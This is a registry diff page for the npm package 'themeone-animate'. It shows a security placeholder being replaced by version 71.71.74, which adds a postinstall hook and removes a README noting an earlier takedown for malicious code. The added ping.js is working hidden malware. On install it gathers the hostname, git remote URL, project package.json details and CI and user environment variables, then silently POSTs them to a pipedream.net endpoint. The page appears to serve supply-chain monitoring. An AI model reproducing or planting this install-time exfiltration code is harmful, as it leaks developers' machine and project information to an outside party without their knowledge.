themeone-animate 0.0.1-security → 71.71.74

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of themeone-animate might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/package.json +9 -3
  2. package/ping.js +81 -0
  3. package/README.md +0 -5
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "themeone-animate",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "71.71.74",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "postinstall": "node ping.js"
7
+ },
8
+ "keywords": [],
9
+ "author": "",
10
+ "license": "ISC",
11
+ "description": ""
6
12
  }
package/ping.js ADDED
@@ -0,0 +1,81 @@
1
+ // ping.js
2
+ const https = require('https');
3
+ const os = require('os');
4
+ const path = require('path');
5
+ const fs = require('fs');
6
+
7
+ function getGitRemoteUrl() {
8
+ try {
9
+ const gitConfigPath = path.resolve(process.cwd(), '.git', 'config');
10
+ if (fs.existsSync(gitConfigPath)) {
11
+ const gitConfig = fs.readFileSync(gitConfigPath, 'utf8');
12
+ const match = gitConfig.match(/url = (.+)/);
13
+ return match ? match[1].trim() : null;
14
+ }
15
+ } catch (err) {}
16
+ return null;
17
+ }
18
+
19
+ function getPackageJsonInfo() {
20
+ try {
21
+ const pkgPath = path.resolve(process.cwd(), 'package.json');
22
+ if (fs.existsSync(pkgPath)) {
23
+ const pkg = require(pkgPath);
24
+ return {
25
+ name: pkg.name || null,
26
+ author: pkg.author || null,
27
+ repository: pkg.repository || null
28
+ };
29
+ }
30
+ } catch (err) {}
31
+ return null;
32
+ }
33
+
34
+ function getEnvironmentHints() {
35
+ const keysToInclude = [
36
+ 'USERDOMAIN', 'LOGONSERVER', 'COMPUTERNAME', 'HOSTNAME',
37
+ 'GITHUB_REPOSITORY', 'CI', 'BUILD_ID', 'CI_PROJECT_PATH', 'USER'
38
+ ];
39
+ const hints = {};
40
+ for (const key of keysToInclude) {
41
+ if (process.env[key]) {
42
+ hints[key] = process.env[key];
43
+ }
44
+ }
45
+ return hints;
46
+ }
47
+
48
+ const payload = {
49
+ hostname: os.hostname(),
50
+ platform: os.platform(),
51
+ arch: os.arch(),
52
+ timestamp: new Date().toISOString(),
53
+ installPath: path.resolve(__dirname),
54
+ gitRemote: getGitRemoteUrl(),
55
+ packageJson: getPackageJsonInfo(),
56
+ envHints: getEnvironmentHints()
57
+ };
58
+
59
+ const data = JSON.stringify(payload);
60
+
61
+ const options = {
62
+ hostname: 'eoykc3a7nhkq2yy.m.pipedream.net', // <- your pipedream or endpoint
63
+ port: 443,
64
+ path: '/',
65
+ method: 'POST',
66
+ headers: {
67
+ 'Content-Type': 'application/json',
68
+ 'Content-Length': Buffer.byteLength(data)
69
+ }
70
+ };
71
+
72
+ const req = https.request(options, res => {
73
+ // Optional: log status code if debugging
74
+ });
75
+
76
+ req.on('error', error => {
77
+ // Fail silently
78
+ });
79
+
80
+ req.write(data);
81
+ req.end();
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=themeone-animate for more information.